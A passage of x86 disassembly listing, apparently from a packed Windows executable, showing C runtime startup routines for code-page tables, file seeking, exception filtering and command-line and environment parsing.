xor eax, eax
pop ecx
mov edi, offset byte_480E60
cmp [ebp+var_18], 1
mov dword_480D44, esi
rep stosd
stosb
mov dword_480F64, ebx
jbe loc_4121A8
cmp [ebp+var_12], 0
jz loc_41217E
lea ecx, [ebp+var_11]
loc_4120C6: ; CODE XREF: sub_41203F+139j
mov dl, [ecx]
test dl, dl
jz loc_41217E
movzx eax, byte ptr [ecx-1]
movzx edx, dl
loc_4120D7: ; CODE XREF: sub_41203F+A8j
cmp eax, edx
ja loc_412172
or byte_480E61[eax], 4
inc eax
jmp short loc_4120D7
; ---------------------------------------------------------------------------
loc_4120E9: ; CODE XREF: sub_41203F+36j
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_480E60
rep stosd
lea esi, [edx+edx*2]
mov [ebp+var_4], ebx
shl esi, 4
stosb
lea ebx, dword_420110[esi]
loc_412105: ; CODE XREF: sub_41203F+103j
cmp byte ptr [ebx], 0
mov ecx, ebx
jz short loc_412138
loc_41210C: ; CODE XREF: sub_41203F+F7j
mov dl, [ecx+1]
test dl, dl
jz short loc_412138
movzx eax, byte ptr [ecx]
movzx edi, dl
cmp eax, edi
ja short loc_412131
mov edx, [ebp+var_4]
mov dl, byte_4200F8[edx]
loc_412126: ; CODE XREF: sub_41203F+F0j
or byte_480E61[eax], dl
inc eax
cmp eax, edi
jbe short loc_412126
loc_412131: ; CODE XREF: sub_41203F+DCj
inc ecx
inc ecx
cmp byte ptr [ecx], 0
jnz short loc_41210C
loc_412138: ; CODE XREF: sub_41203F+CBj
; sub_41203F+D2j
inc [ebp+var_4]
add ebx, 8
cmp [ebp+var_4], 4
jb short loc_412105
mov eax, [ebp+arg_0]
mov dword_480D5C, 1
push eax
mov dword_480D44, eax
call sub_412222
lea esi, dword_420104[esi]
mov edi, offset dword_480D50
movsd
movsd
pop ecx
mov dword_480F64, eax
movsd
jmp short loc_4121C7
; ---------------------------------------------------------------------------
loc_412172: ; CODE XREF: sub_41203F+9Aj
inc ecx
inc ecx
cmp byte ptr [ecx-1], 0
jnz loc_4120C6
loc_41217E: ; CODE XREF: sub_41203F+7Ej
; sub_41203F+8Bj
push 1
pop eax
loc_412181: ; CODE XREF: sub_41203F+14Fj
or byte_480E61[eax], 8
inc eax
cmp eax, 0FFh
jb short loc_412181
push esi
call sub_412222
pop ecx
mov dword_480F64, eax
mov dword_480D5C, 1
jmp short loc_4121AE
; ---------------------------------------------------------------------------
loc_4121A8: ; CODE XREF: sub_41203F+74j
mov dword_480D5C, ebx
loc_4121AE: ; CODE XREF: sub_41203F+167j
xor eax, eax
mov edi, offset dword_480D50
stosd
stosd
stosd
jmp short loc_4121C7
; ---------------------------------------------------------------------------
loc_4121BA: ; CODE XREF: sub_41203F+51j
cmp dword_47F9BC, ebx
jz short loc_4121D0
loc_4121C2: ; CODE XREF: sub_41203F+27j
call sub_412255
loc_4121C7: ; CODE XREF: sub_41203F+131j
; sub_41203F+179j
call sub_41227E
loc_4121CC: ; CODE XREF: sub_41203F+1Dj
xor eax, eax
jmp short loc_4121D3
; ---------------------------------------------------------------------------
loc_4121D0: ; CODE XREF: sub_41203F+181j
or eax, 0FFFFFFFFh
loc_4121D3: ; CODE XREF: sub_41203F+18Fj
pop edi
pop esi
pop ebx
leave
retn
sub_41203F endp
; =============== S U B R O U T I N E =======================================
sub_4121D8 proc near ; CODE XREF: sub_41203F+Cp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
and dword_47F9BC, 0
cmp eax, 0FFFFFFFEh
jnz short loc_4121F8
mov dword_47F9BC, 1
jmp dword_41715C
; ---------------------------------------------------------------------------
loc_4121F8: ; CODE XREF: sub_4121D8+Ej
cmp eax, 0FFFFFFFDh
jnz short loc_41220D
mov dword_47F9BC, 1
jmp dword_417158
; ---------------------------------------------------------------------------
loc_41220D: ; CODE XREF: sub_4121D8+23j
cmp eax, 0FFFFFFFCh
jnz short locret_412221
mov eax, dword_47F9B4
mov dword_47F9BC, 1
locret_412221: ; CODE XREF: sub_4121D8+38j
retn
sub_4121D8 endp
; =============== S U B R O U T I N E =======================================
sub_412222 proc near ; CODE XREF: sub_41203F+118p
; sub_41203F+152p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub eax, 3A4h
jz short loc_41224F
sub eax, 4
jz short loc_412249
sub eax, 0Dh
jz short loc_412243
dec eax
jz short loc_41223D
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41223D: ; CODE XREF: sub_412222+16j
mov eax, 404h
retn
; ---------------------------------------------------------------------------
loc_412243: ; CODE XREF: sub_412222+13j
mov eax, 412h
retn
; ---------------------------------------------------------------------------
loc_412249: ; CODE XREF: sub_412222+Ej
mov eax, 804h
retn
; ---------------------------------------------------------------------------
loc_41224F: ; CODE XREF: sub_412222+9j
mov eax, 411h
retn
sub_412222 endp
; =============== S U B R O U T I N E =======================================
sub_412255 proc near ; CODE XREF: sub_41203F:loc_4121C2p
push edi
push 40h
pop ecx
xor eax, eax
mov edi, offset byte_480E60
rep stosd
stosb
xor eax, eax
mov edi, offset dword_480D50
mov dword_480D44, eax
mov dword_480D5C, eax
mov dword_480F64, eax
stosd
stosd
stosd
pop edi
retn
sub_412255 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41227E proc near ; CODE XREF: sub_41203F:loc_4121C7p
var_514 = byte ptr -514h
var_314 = byte ptr -314h
var_214 = byte ptr -214h
var_114 = byte ptr -114h
var_14 = byte ptr -14h
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
push ebp
mov ebp, esp
sub esp, 514h
lea eax, [ebp+var_14]
push esi
push eax
push dword_480D44
call dword_417154 ; GetCPInfo
cmp eax, 1
jnz loc_4123B7
xor eax, eax
mov esi, 100h
loc_4122A8: ; CODE XREF: sub_41227E+34j
mov [ebp+eax+var_114], al
inc eax
cmp eax, esi
jb short loc_4122A8
mov al, [ebp+var_E]
mov [ebp+var_114], 20h
test al, al
jz short loc_4122F9
push ebx
push edi
lea edx, [ebp+var_D]
loc_4122C7: ; CODE XREF: sub_41227E+77j
movzx ecx, byte ptr [edx]
movzx eax, al
cmp eax, ecx
ja short loc_4122EE
sub ecx, eax
lea edi, [ebp+eax+var_114]
inc ecx
mov eax, 20202020h
mov ebx, ecx
shr ecx, 2
rep stosd
mov ecx, ebx
and ecx, 3
rep stosb
loc_4122EE: ; CODE XREF: sub_41227E+51j
inc edx
inc edx
mov al, [edx-1]
test al, al
jnz short loc_4122C7
pop edi
pop ebx
loc_4122F9: ; CODE XREF: sub_41227E+42j
push 0
lea eax, [ebp+var_514]
push dword_480F64
push dword_480D44
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 1
call sub_413E07
push 0
lea eax, [ebp+var_214]
push dword_480D44
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push esi
push dword_480F64
call sub_411E1B
push 0
lea eax, [ebp+var_314]
push dword_480D44
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 200h
push dword_480F64
call sub_411E1B
add esp, 5Ch
xor eax, eax
lea ecx, [ebp+var_514]
loc_412374: ; CODE XREF: sub_41227E+135j
mov dx, [ecx]
test dl, 1
jz short loc_412392
or byte_480E61[eax], 10h
mov dl, [ebp+eax+var_214]
loc_41238A: ; CODE XREF: sub_41227E+127j
mov byte_480D60[eax], dl
jmp short loc_4123AE
; ---------------------------------------------------------------------------
loc_412392: ; CODE XREF: sub_41227E+FCj
test dl, 2
jz short loc_4123A7
or byte_480E61[eax], 20h
mov dl, [ebp+eax+var_314]
jmp short loc_41238A
; ---------------------------------------------------------------------------
loc_4123A7: ; CODE XREF: sub_41227E+117j
and byte_480D60[eax], 0
loc_4123AE: ; CODE XREF: sub_41227E+112j
inc eax
inc ecx
inc ecx
cmp eax, esi
jb short loc_412374
jmp short loc_412400
; ---------------------------------------------------------------------------
loc_4123B7: ; CODE XREF: sub_41227E+1Dj
xor eax, eax
mov esi, 100h
loc_4123BE: ; CODE XREF: sub_41227E+180j
cmp eax, 41h
jb short loc_4123DC
cmp eax, 5Ah
ja short loc_4123DC
or byte_480E61[eax], 10h
mov cl, al
add cl, 20h
loc_4123D4: ; CODE XREF: sub_41227E+174j
mov byte_480D60[eax], cl
jmp short loc_4123FB
; ---------------------------------------------------------------------------
loc_4123DC: ; CODE XREF: sub_41227E+143j
; sub_41227E+148j
cmp eax, 61h
jb short loc_4123F4
cmp eax, 7Ah
ja short loc_4123F4
or byte_480E61[eax], 20h
mov cl, al
sub cl, 20h
jmp short loc_4123D4
; ---------------------------------------------------------------------------
loc_4123F4: ; CODE XREF: sub_41227E+161j
; sub_41227E+166j
and byte_480D60[eax], 0
loc_4123FB: ; CODE XREF: sub_41227E+15Cj
inc eax
cmp eax, esi
jb short loc_4123BE
loc_412400: ; CODE XREF: sub_41227E+137j
pop esi
leave
retn
sub_41227E endp
; =============== S U B R O U T I N E =======================================
sub_412403 proc near ; CODE XREF: sub_4128E9+9p
; sub_412941+Dp ...
cmp dword_480F94, 0
jnz short locret_41241E
push 0FFFFFFFDh
call sub_41203F
pop ecx
mov dword_480F94, 1
locret_41241E: ; CODE XREF: sub_412403+7j
retn
sub_412403 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41241F proc near ; CODE XREF: sub_40D21A+2Bp
; sub_40D21A+A6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp dword_480D5C, 0
push edi
mov edi, [ebp+arg_0]
mov [ebp+arg_0], edi
jnz short loc_412443
push [ebp+arg_8]
push [ebp+arg_4]
push edi
call sub_40B110
add esp, 0Ch
jmp short loc_4124A6
; ---------------------------------------------------------------------------
loc_412443: ; CODE XREF: sub_41241F+11j
mov edx, [ebp+arg_8]
push esi
test edx, edx
jz short loc_412488
mov ecx, [ebp+arg_4]
loc_41244E: ; CODE XREF: sub_41241F+5Bj
mov al, [ecx]
dec edx
movzx esi, al
test byte_480E61[esi], 4
mov [edi], al
jz short loc_412472
inc edi
inc ecx
test edx, edx
jz short loc_41247E
mov al, [ecx]
dec edx
mov [edi], al
inc edi
inc ecx
test al, al
jz short loc_412484
jmp short loc_412478
; ---------------------------------------------------------------------------
loc_412472: ; CODE XREF: sub_41241F+3Ej
inc edi
inc ecx
test al, al
jz short loc_412488
loc_412478: ; CODE XREF: sub_41241F+51j
test edx, edx
jnz short loc_41244E
jmp short loc_412488
; ---------------------------------------------------------------------------
loc_41247E: ; CODE XREF: sub_41241F+44j
and byte ptr [edi-1], 0
jmp short loc_412488
; ---------------------------------------------------------------------------
loc_412484: ; CODE XREF: sub_41241F+4Fj
and byte ptr [edi-2], 0
loc_412488: ; CODE XREF: sub_41241F+2Aj
; sub_41241F+57j ...
mov eax, edx
dec edx
test eax, eax
pop esi
jz short loc_4124A3
lea ecx, [edx+1]
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
loc_4124A3: ; CODE XREF: sub_41241F+6Fj
mov eax, [ebp+arg_0]
loc_4124A6: ; CODE XREF: sub_41241F+22j
pop edi
pop ebp
retn
sub_41241F endp
; =============== S U B R O U T I N E =======================================
sub_4124A9 proc near ; CODE XREF: sub_40D411+8p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push dword ptr [esi+10h]
call sub_413381
test eax, eax
pop ecx
jz short loc_412532
cmp esi, offset dword_420330
jnz short loc_4124C7
xor eax, eax
jmp short loc_4124D2
; ---------------------------------------------------------------------------
loc_4124C7: ; CODE XREF: sub_4124A9+18j
cmp esi, offset dword_420350
jnz short loc_412532
push 1
pop eax
loc_4124D2: ; CODE XREF: sub_4124A9+1Cj
inc dword_47FAD8
test word ptr [esi+0Ch], 10Ch
jnz short loc_412532
cmp dword_47F9C0[eax*4], 0
push ebx
push edi
lea edi, ds:47F9C0h[eax*4]
mov ebx, 1000h
jnz short loc_412518
push ebx
call sub_40B6BF
test eax, eax
pop ecx
mov [edi], eax
jnz short loc_412518
lea eax, [esi+14h]
push 2
mov [esi+8], eax
mov [esi], eax
pop eax
mov [esi+18h], eax
mov [esi+4], eax
jmp short loc_412525
; ---------------------------------------------------------------------------
loc_412518: ; CODE XREF: sub_4124A9+4Dj
; sub_4124A9+5Aj
mov edi, [edi]
mov [esi+18h], ebx
mov [esi+8], edi
mov [esi], edi
mov [esi+4], ebx
loc_412525: ; CODE XREF: sub_4124A9+6Dj
or word ptr [esi+0Ch], 1102h
push 1
pop eax
pop edi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_412532: ; CODE XREF: sub_4124A9+10j
; sub_4124A9+24j ...
xor eax, eax
pop esi
retn
sub_4124A9 endp
; =============== S U B R O U T I N E =======================================
sub_412536 proc near ; CODE XREF: sub_40D411+24p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0
push esi
jz short loc_412560
mov esi, [esp+4+arg_4]
test byte ptr [esi+0Dh], 10h
jz short loc_412571
push esi
call sub_41169D
and byte ptr [esi+0Dh], 0EEh
and dword ptr [esi+18h], 0
and dword ptr [esi], 0
and dword ptr [esi+8], 0
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_412560: ; CODE XREF: sub_412536+6j
mov eax, [esp+4+arg_4]
test byte ptr [eax+0Dh], 10h
jz short loc_412571
push eax
call sub_41169D
pop ecx
loc_412571: ; CODE XREF: sub_412536+10j
; sub_412536+32j
pop esi
retn
sub_412536 endp
; =============== S U B R O U T I N E =======================================
sub_412573 proc near ; CODE XREF: sub_40D488+67p
; sub_40D653+CDp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
push ebx
cmp eax, dword_480D40
push esi
push edi
jnb short loc_4125F5
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:480C40h[ecx*4]
shl esi, 3
mov ecx, [edi]
test byte ptr [ecx+esi+4], 1
jz short loc_4125F5
push eax
call sub_4140D6
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_4125B7
mov dword_47F914, 9
jmp short loc_412606
; ---------------------------------------------------------------------------
loc_4125B7: ; CODE XREF: sub_412573+36j
push [esp+0Ch+arg_8]
push 0
push [esp+14h+arg_4]
push eax
call dword_417160 ; SetFilePointer
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_4125D7
call dword_417044 ; RtlGetLastWin32Error
jmp short loc_4125D9
; ---------------------------------------------------------------------------
loc_4125D7: ; CODE XREF: sub_412573+5Aj
xor eax, eax
loc_4125D9: ; CODE XREF: sub_412573+62j
test eax, eax
jz short loc_4125E6
push eax
call sub_411C26
pop ecx
jmp short loc_412606
; ---------------------------------------------------------------------------
loc_4125E6: ; CODE XREF: sub_412573+68j
mov eax, [edi]
and byte ptr [eax+esi+4], 0FDh
lea eax, [eax+esi+4]
mov eax, ebx
jmp short loc_412609
; ---------------------------------------------------------------------------
loc_4125F5: ; CODE XREF: sub_412573+Dj
; sub_412573+2Aj
and dword_47F918, 0
mov dword_47F914, 9
loc_412606: ; CODE XREF: sub_412573+42j
; sub_412573+71j
or eax, 0FFFFFFFFh
loc_412609: ; CODE XREF: sub_412573+80j
pop edi
pop esi
pop ebx
retn
sub_412573 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41260D proc near ; CODE XREF: sub_40D488+2Ap
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
xor ebx, ebx
mov esi, [edi+10h]
cmp [edi+4], ebx
mov [ebp+var_C], esi
jge short loc_412629
mov [edi+4], ebx
loc_412629: ; CODE XREF: sub_41260D+17j
push 1
push ebx
push esi
call sub_412573
add esp, 0Ch
cmp eax, ebx
mov [ebp+var_4], eax
jl short loc_412697
mov edx, [edi+0Ch]
test dx, 108h
jnz short loc_41264E
sub eax, [edi+4]
jmp loc_412760
; ---------------------------------------------------------------------------
loc_41264E: ; CODE XREF: sub_41260D+37j
mov eax, [edi]
mov ecx, [edi+8]
mov ebx, eax
sub ebx, ecx
test dl, 3
mov [ebp+var_8], ebx
jz short loc_412688
mov edx, esi
mov ebx, esi
sar edx, 5
and ebx, 1Fh
mov edx, dword_480C40[edx*4]
test byte ptr [edx+ebx*8+4], 80h
jz short loc_41269F
mov edx, ecx
loc_412679: ; CODE XREF: sub_41260D+79j
cmp edx, eax
jnb short loc_41269F
cmp byte ptr [edx], 0Ah
jnz short loc_412685
inc [ebp+var_8]
loc_412685: ; CODE XREF: sub_41260D+73j
inc edx
jmp short loc_412679
; ---------------------------------------------------------------------------
loc_412688: ; CODE XREF: sub_41260D+50j
test dl, 80h
jnz short loc_41269F
mov dword_47F914, 16h
loc_412697: ; CODE XREF: sub_41260D+2Dj
or eax, 0FFFFFFFFh
jmp loc_412760
; ---------------------------------------------------------------------------
loc_41269F: ; CODE XREF: sub_41260D+68j
; sub_41260D+6Ej ...
cmp [ebp+var_4], 0
jnz short loc_4126AD
mov eax, [ebp+var_8]
jmp loc_412760
; ---------------------------------------------------------------------------
loc_4126AD: ; CODE XREF: sub_41260D+96j
test byte ptr [edi+0Ch], 1
jz loc_412758
mov edx, [edi+4]
test edx, edx
jnz short loc_4126C6
and [ebp+var_8], edx
jmp loc_412758
; ---------------------------------------------------------------------------
loc_4126C6: ; CODE XREF: sub_41260D+AFj
sub eax, ecx
add eax, edx
mov [ebp+arg_0], eax
mov eax, esi
sar eax, 5
and esi, 1Fh
lea ebx, ds:480C40h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [esi+eax+4], 80h
jz short loc_412752
push 2
push 0
push [ebp+var_C]
call sub_412573
add esp, 0Ch
cmp eax, [ebp+var_4]
jnz short loc_412719
mov eax, [edi+8]
mov ecx, [ebp+arg_0]
add ecx, eax
loc_412704: ; CODE XREF: sub_41260D+104j
cmp eax, ecx
jnb short loc_412713
cmp byte ptr [eax], 0Ah
jnz short loc_412710
inc [ebp+arg_0]
loc_412710: ; CODE XREF: sub_41260D+FEj
inc eax
jmp short loc_412704
; ---------------------------------------------------------------------------
loc_412713: ; CODE XREF: sub_41260D+F9j
test byte ptr [edi+0Dh], 20h
jmp short loc_41274D
; ---------------------------------------------------------------------------
loc_412719: ; CODE XREF: sub_41260D+EDj
push 0
push [ebp+var_4]
push [ebp+var_C]
call sub_412573
mov eax, 200h
add esp, 0Ch
cmp [ebp+arg_0], eax
ja short loc_412740
mov ecx, [edi+0Ch]
test cl, 8
jz short loc_412740
test ch, 4
jz short loc_412743
loc_412740: ; CODE XREF: sub_41260D+124j
; sub_41260D+12Cj
mov eax, [edi+18h]
loc_412743: ; CODE XREF: sub_41260D+131j
mov [ebp+arg_0], eax
mov eax, [ebx]
test byte ptr [esi+eax+4], 4
loc_41274D: ; CODE XREF: sub_41260D+10Aj
jz short loc_412752
inc [ebp+arg_0]
loc_412752: ; CODE XREF: sub_41260D+D9j
; sub_41260D:loc_41274Dj
mov eax, [ebp+arg_0]
sub [ebp+var_4], eax
loc_412758: ; CODE XREF: sub_41260D+A4j
; sub_41260D+B4j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
add eax, ecx
loc_412760: ; CODE XREF: sub_41260D+3Cj
; sub_41260D+8Dj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41260D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412765 proc near ; CODE XREF: sub_40D514+E3p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push [ebp+arg_0]
call sub_4128A6
test eax, eax
pop ecx
jz loc_41289A
mov ebx, [eax+8]
test ebx, ebx
jz loc_41289A
cmp ebx, 5
jnz short loc_412796
and dword ptr [eax+8], 0
push 1
pop eax
jmp loc_4128A3
; ---------------------------------------------------------------------------
loc_412796: ; CODE XREF: sub_412765+23j
cmp ebx, 1
jz loc_412895
mov ecx, dword_47F9C8
mov [ebp+arg_0], ecx
mov ecx, [ebp+arg_4]
mov dword_47F9C8, ecx
mov ecx, [eax+4]
cmp ecx, 8
jnz loc_412885
mov ecx, dword_420268
mov edx, dword_42026C
add edx, ecx
push esi
cmp ecx, edx
jge short loc_4127E5
lea esi, [ecx+ecx*2]
sub edx, ecx
lea esi, ds:4201F8h[esi*4]
loc_4127DC: ; CODE XREF: sub_412765+7Ej
and dword ptr [esi], 0
add esi, 0Ch
dec edx
jnz short loc_4127DC
loc_4127E5: ; CODE XREF: sub_412765+69j
mov eax, [eax]
mov esi, dword_420274
cmp eax, 0C000008Eh
jnz short loc_412800
mov dword_420274, 83h
jmp short loc_412870
; ---------------------------------------------------------------------------
loc_412800: ; CODE XREF: sub_412765+8Dj
cmp eax, 0C0000090h
jnz short loc_412813
mov dword_420274, 81h
jmp short loc_412870
; ---------------------------------------------------------------------------
loc_412813: ; CODE XREF: sub_412765+A0j
cmp eax, 0C0000091h
jnz short loc_412826
mov dword_420274, 84h
jmp short loc_412870
; ---------------------------------------------------------------------------
loc_412826: ; CODE XREF: sub_412765+B3j
cmp eax, 0C0000093h
jnz short loc_412839
mov dword_420274, 85h
jmp short loc_412870
; ---------------------------------------------------------------------------
loc_412839: ; CODE XREF: sub_412765+C6j
cmp eax, 0C000008Dh
jnz short loc_41284C
mov dword_420274, 82h
jmp short loc_412870
; ---------------------------------------------------------------------------
loc_41284C: ; CODE XREF: sub_412765+D9j
cmp eax, 0C000008Fh
jnz short loc_41285F
mov dword_420274, 86h
jmp short loc_412870
; ---------------------------------------------------------------------------
loc_41285F: ; CODE XREF: sub_412765+ECj
cmp eax, 0C0000092h
jnz short loc_412870
mov dword_420274, 8Ah
loc_412870: ; CODE XREF: sub_412765+99j
; sub_412765+ACj ...
push dword_420274
push 8
call ebx
pop ecx
mov dword_420274, esi
pop ecx
pop esi
jmp short loc_41288D
; ---------------------------------------------------------------------------
loc_412885: ; CODE XREF: sub_412765+52j
and dword ptr [eax+8], 0
push ecx
call ebx
pop ecx
loc_41288D: ; CODE XREF: sub_412765+11Ej
mov eax, [ebp+arg_0]
mov dword_47F9C8, eax
loc_412895: ; CODE XREF: sub_412765+34j
or eax, 0FFFFFFFFh
jmp short loc_4128A3
; ---------------------------------------------------------------------------
loc_41289A: ; CODE XREF: sub_412765+Fj
; sub_412765+1Aj
push [ebp+arg_4]
call dword_417164 ; UnhandledExceptionFilter
loc_4128A3: ; CODE XREF: sub_412765+2Cj
; sub_412765+133j
pop ebx
pop ebp
retn
sub_412765 endp
; =============== S U B R O U T I N E =======================================
sub_4128A6 proc near ; CODE XREF: sub_412765+7p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_420270
cmp dword_4201F0, edx
push esi
mov eax, offset dword_4201F0
jz short loc_4128D3
lea esi, [ecx+ecx*2]
lea esi, ds:4201F0h[esi*4]
loc_4128C8: ; CODE XREF: sub_4128A6+2Bj
add eax, 0Ch
cmp eax, esi
jnb short loc_4128D3
cmp [eax], edx
jnz short loc_4128C8
loc_4128D3: ; CODE XREF: sub_4128A6+16j
; sub_4128A6+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:4201F0h[ecx*4]
cmp eax, ecx
jnb short loc_4128E6
cmp [eax], edx
jz short locret_4128E8
loc_4128E6: ; CODE XREF: sub_4128A6+3Aj
xor eax, eax
locret_4128E8: ; CODE XREF: sub_4128A6+3Ej
retn
sub_4128A6 endp
; =============== S U B R O U T I N E =======================================
sub_4128E9 proc near ; CODE XREF: sub_40D514+A5p
cmp dword_480F94, 0
jnz short loc_4128F7
call sub_412403
loc_4128F7: ; CODE XREF: sub_4128E9+7j
push esi
mov esi, dword_480F8C
mov al, [esi]
cmp al, 22h
jnz short loc_412929
loc_412904: ; CODE XREF: sub_4128E9+33j
; sub_4128E9+36j
mov al, [esi+1]
inc esi
cmp al, 22h
jz short loc_412921
test al, al
jz short loc_412921
movzx eax, al
push eax
call sub_414982
test eax, eax
pop ecx
jz short loc_412904
inc esi
jmp short loc_412904
; ---------------------------------------------------------------------------
loc_412921: ; CODE XREF: sub_4128E9+21j
; sub_4128E9+25j
cmp byte ptr [esi], 22h
jnz short loc_412933
loc_412926: ; CODE XREF: sub_4128E9+52j
inc esi
jmp short loc_412933
; ---------------------------------------------------------------------------
loc_412929: ; CODE XREF: sub_4128E9+19j
cmp al, 20h
jbe short loc_412933
loc_41292D: ; CODE XREF: sub_4128E9+48j
inc esi
cmp byte ptr [esi], 20h
ja short loc_41292D
loc_412933: ; CODE XREF: sub_4128E9+3Bj
; sub_4128E9+3Ej ...
mov al, [esi]
test al, al
jz short loc_41293D
cmp al, 20h
jbe short loc_412926
loc_41293D: ; CODE XREF: sub_4128E9+4Ej
mov eax, esi
pop esi
retn
sub_4128E9 endp
; =============== S U B R O U T I N E =======================================
sub_412941 proc near ; CODE XREF: sub_40D514+8Ep
push ebx
xor ebx, ebx
cmp dword_480F94, ebx
push esi
push edi
jnz short loc_412953
call sub_412403
loc_412953: ; CODE XREF: sub_412941+Bj
mov esi, dword_47F960
xor edi, edi
loc_41295B: ; CODE XREF: sub_412941+30j
mov al, [esi]
cmp al, bl
jz short loc_412973
cmp al, 3Dh
jz short loc_412966
inc edi
loc_412966: ; CODE XREF: sub_412941+22j
push esi
call sub_40B5B0
pop ecx
lea esi, [esi+eax+1]
jmp short loc_41295B
; ---------------------------------------------------------------------------
loc_412973: ; CODE XREF: sub_412941+1Ej
lea eax, ds:4[edi*4]
push eax
call sub_40B6BF
mov esi, eax
pop ecx
cmp esi, ebx
mov dword_47F93C, esi
jnz short loc_412995
push 9
call sub_40D60A
pop ecx
loc_412995: ; CODE XREF: sub_412941+4Aj
mov edi, dword_47F960
cmp [edi], bl
jz short loc_4129D8
push ebp
loc_4129A0: ; CODE XREF: sub_412941+94j
push edi
call sub_40B5B0
mov ebp, eax
pop ecx
inc ebp
cmp byte ptr [edi], 3Dh
jz short loc_4129D1
push ebp
call sub_40B6BF
cmp eax, ebx
pop ecx
mov [esi], eax
jnz short loc_4129C4
push 9
call sub_40D60A
pop ecx
loc_4129C4: ; CODE XREF: sub_412941+79j
push edi
push dword ptr [esi]
call sub_40CD70
pop ecx
add esi, 4
pop ecx
loc_4129D1: ; CODE XREF: sub_412941+6Cj
add edi, ebp
cmp [edi], bl
jnz short loc_4129A0
pop ebp
loc_4129D8: ; CODE XREF: sub_412941+5Cj
push dword_47F960
call sub_40B771
pop ecx
mov dword_47F960, ebx
mov [esi], ebx
pop edi
pop esi
mov dword_480F90, 1
pop ebx
retn
sub_412941 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4129FA proc near ; CODE XREF: sub_40D514+89p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp dword_480F94, ebx
push esi
push edi
jnz short loc_412A11
call sub_412403
loc_412A11: ; CODE XREF: sub_4129FA+10j
mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
push 104h
push esi
push ebx
call dword_41704C ; GetModuleFileNameA
mov eax, dword_480F8C
mov off_47F94C, esi
mov edi, esi
cmp [eax], bl
jz short loc_412A36
mov edi, eax
loc_412A36: ; CODE XREF: sub_4129FA+38j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push ebx
push ebx
push edi
call sub_412A93
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
lea eax, [eax+ecx*4]
push eax
call sub_40B6BF
mov esi, eax
add esp, 18h
cmp esi, ebx
jnz short loc_412A66
push 8
call sub_40D60A
pop ecx
loc_412A66: ; CODE XREF: sub_4129FA+62j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
mov eax, [ebp+var_4]
lea eax, [esi+eax*4]
push eax
push esi
push edi
call sub_412A93
mov eax, [ebp+var_4]
add esp, 14h
dec eax
mov dword_47F934, esi
pop edi
pop esi
mov dword_47F930, eax
pop ebx
leave
retn
sub_4129FA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412A93 proc near ; CODE XREF: sub_4129FA+47p
; sub_4129FA+7Dp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_10]
mov eax, [ebp+arg_C]
push ebx
push esi
and dword ptr [ecx], 0
mov esi, [ebp+arg_8]
push edi
mov edi, [ebp+arg_4]
mov dword ptr [eax], 1
mov eax, [ebp+arg_0]
test edi, edi
jz short loc_412ABD
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_412ABD: ; CODE XREF: sub_412A93+20j
cmp byte ptr [eax], 22h
jnz short loc_412B06
loc_412AC2: ; CODE XREF: sub_412A93+58j
; sub_412A93+5Fj
mov dl, [eax+1]
inc eax
cmp dl, 22h
jz short loc_412AF4
test dl, dl
jz short loc_412AF4
movzx edx, dl
test byte_480E61[edx], 4
jz short loc_412AE7
inc dword ptr [ecx]
test esi, esi
jz short loc_412AE7
mov dl, [eax]
mov [esi], dl
inc esi
inc eax
loc_412AE7: ; CODE XREF: sub_412A93+46j
; sub_412A93+4Cj
inc dword ptr [ecx]
test esi, esi
jz short loc_412AC2
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_412AC2
; ---------------------------------------------------------------------------
loc_412AF4: ; CODE XREF: sub_412A93+36j
; sub_412A93+3Aj
inc dword ptr [ecx]
test esi, esi
jz short loc_412AFE
and byte ptr [esi], 0
inc esi
